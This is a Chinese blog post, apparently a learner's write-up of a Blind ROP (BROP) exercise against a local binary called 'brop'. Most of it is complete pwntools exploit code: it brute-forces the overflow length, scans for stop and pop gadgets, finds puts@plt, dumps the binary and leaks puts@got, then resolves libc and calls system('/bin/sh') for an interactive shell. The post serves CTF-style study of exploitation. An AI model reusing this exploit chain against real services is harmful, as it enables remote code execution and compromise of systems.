pwn学习-中级ROP-BROP

实例复现

先与程序交互

这里直接用本地服务器模拟远程的,但实际上不对原文件进行逆向分析。

其中asdasd为我任意输入的password,可以看出程序的基本交互。这里我们开始

爆破出buffer的长度

exp

from pwn import *
from LibcSearcher import LibcSearcher



def getBufferLength():
	i=1
	while 1:
		try:
			sh = process('./brop')
			payload = i*'a'
			sh.recvuntil('WelCome my friend,Do you know password?\n')
			sh.send(payload)
			output = sh.recv()
			if not output.startswith('No password'):
				return i-1
			else:
				i+=1
		except EOFError:
			sh.close()
			return i-1
length = getBufferLength()
log.success('length:'+str(length))	

结果为,得知Buff的长度为72,利用的原理是:我们不断淹没缓冲区,直到淹没了返回地址程序会崩溃,而改变了canary程序则会报相应错误。(遇到有cannary时,如何进行stack reading? 我还不太会,第一次做canary时直接用puts函数打印出堆栈里的内容,而如果没有puts函数呢?)

寻找stop gadgets

exp

from pwn import *

length = 72

def getStopGadgets(length):
	addr = 0x400000
	while 1:
		try: 
			sh = process('./brop')
			payload = 'a'*length +p64(addr)
			sh.recvuntil("password?\n")
			sh.sendline(payload)
			output = sh.recvuntil("password?\n")
			sh.close()
			print("one success addr 0x%x:" % (addr))
			if not output.startswith('WelCome'):
				sh.close()
				addr+=1
			else:
				return addr
		except Exception:
			addr+=1
			sh.close()
stop_gadgets = getStopGadgets(length)	
print(hex(stop_gadgets))

找到了该地址,然后将该地址作为stop_addr,并且该地址是会回到mainh函数的。

扫描二维码关注公众号,回复: 5921372 查看本文章

接下来寻找plt表的gadgets

exp


length = 72
stop_gadget = 0x4005c0

def getBropGadget(length,stop_gadget,addr):
 #为了找到 pop pop pop pop pop pop ret的 plt表
	try: 
		sh = process('./brop')
		payload = 'a'*length + p64(addr) +p64(0)*6 +p64(stop_gadget)+p64(0)*10
		sh.recvuntil('password?\n')
		sh.sendline(payload)
		content = sh.recv(100,3)
		print(content)
		sh.close()
		if not content.startswith('WelCome'):
			return False
		return True
	except Exception:
		sh.close()
		return False

def check(length,addr):
	try:
		sh = process('./brop')
		payload = 'a'*length + p64(addr) +'a'*8*10
		sh.recvuntil('password?\n')
		sh.sendline(payload)
		content = sh.recv(100,3)
		sh.close()
		return False
	except Exception:
		sh.close()
		return True

addr = 0x400500 #这里地址可以随便给一个比较低的,
while 1:
	print hex(addr)
	if getBropGadget(length,stop_gadget,addr):
		log.success('possible addr:'+str(hex(addr)))
		if check(length,addr):
			print 'success addr: 0x%x' %addr
			break
	addr +=1

成功找到

确定puts@plt地址

(文中说使用找到的pltgadgets +9即为pop rdi,我在IDA里查到的并不是,但是有ROPgadget搜索到的确实是这样,这里我留下一个疑问待解决)

思路为使用0x400000处的0x7fELF作为puts函数即将打印的值,爆破出puts函数的地址,当遇到puts函数的时候,即可接受到该字符,判断找到Puts函数地址。

使用exp

from pwn import *


length = 72
stop_gadget = 0x4005c0
rdi_ret = 0x4007ba+9


def get_puts_addr(length, rdi_ret, stop_gadget):
	addr=0x400000
	while 1:
		print hex(addr)
		sh = process('./brop')
		sh.recv(100,3)
		payload = 'a'*length + p64(rdi_ret) + p64(0x400000) +p64(addr) +p64(stop_gadget)
		sh.sendline(payload) 
		try:
			output = sh.recv(100,3)
			if output.startswith('\x7fELF'):
				print 'find puts addr: 0x%x' %addr				
				sh.close()				
				return addr
			sh.close()
			addr += 1
		except Exception:
			sh.close()
			addr += 1

找到Puts函数地址为0x400555

之后开始利用Puts函数泄露出Puts函数的地址,并寻找到Libc的版本。

EXP

from pwn import *


length = 72
stop_gadget = 0x4005c0
rdi_ret = 0x4007ba+9
puts_plt=0x400555

def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
    sh = process('./brop')
    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
        puts_plt) + p64(stop_gadget)
    sh.recvuntil('password?\n')
    sh.sendline(payload)
    try: #第一个try是为了防止程序崩溃
        data = sh.recv()
        sh.close()
        try: #第二个try是为了捕获 index()函数抛出的异常
            data = data[:data.index("\nWelCome")]
        except Exception:
            data = data
        if data == "":
            data = '\x00'
        return data
    except Exception:
        sh.close()
        return None

addr = 0x400000
result = ""
while addr<0x401000:
	print hex(addr)
	data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
	if data is None:
		continue
	else:
		result += data
	addr += len(data)
with open('code.txt','wb') as f:
	f.write(result)

将获取到的数据使用IDA打开,按C将数据转化为汇编指令。 可以看到

加上400000基址,所以puts@got表为 0x601010,后发现匹配不到libc版本,再次测试使用0x601018

接下来可以查看libc版本,找到其他函数的地址。并且找到bin/sh 与 system函数

from pwn import *
from LibcSearcher import LibcSearcher

length = 72
stop_gadget = 0x4005c0
rdi_ret = 0x4007ba+9
puts_plt = 0x400555
puts_got = 0x601018
	
sh = process('./brop')
sh.recvuntil('password?\n')

payload = 'a'*length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome',drop=True)
puts_addr = u64(data.ljust(8,'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
log.success('libc_base:0x%x' %libc_base)
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

最后总结一下。1.先爆破出堆栈溢出的buff长度。2 爆破出stop_gadget  3爆破出连续六个pop一个ret的gadget. 4根据libc_csu_init的知识,得知gadget+9为pop edi,ret。5爆破出puts@plt地址 6爆破出puts@got地址 7打印出puts_addr 8利用puts_addr确定libc版本,找到system函数与binsh 调用。

猜你喜欢

转载自blog.csdn.net/qq_38025365/article/details/88182538
今日推荐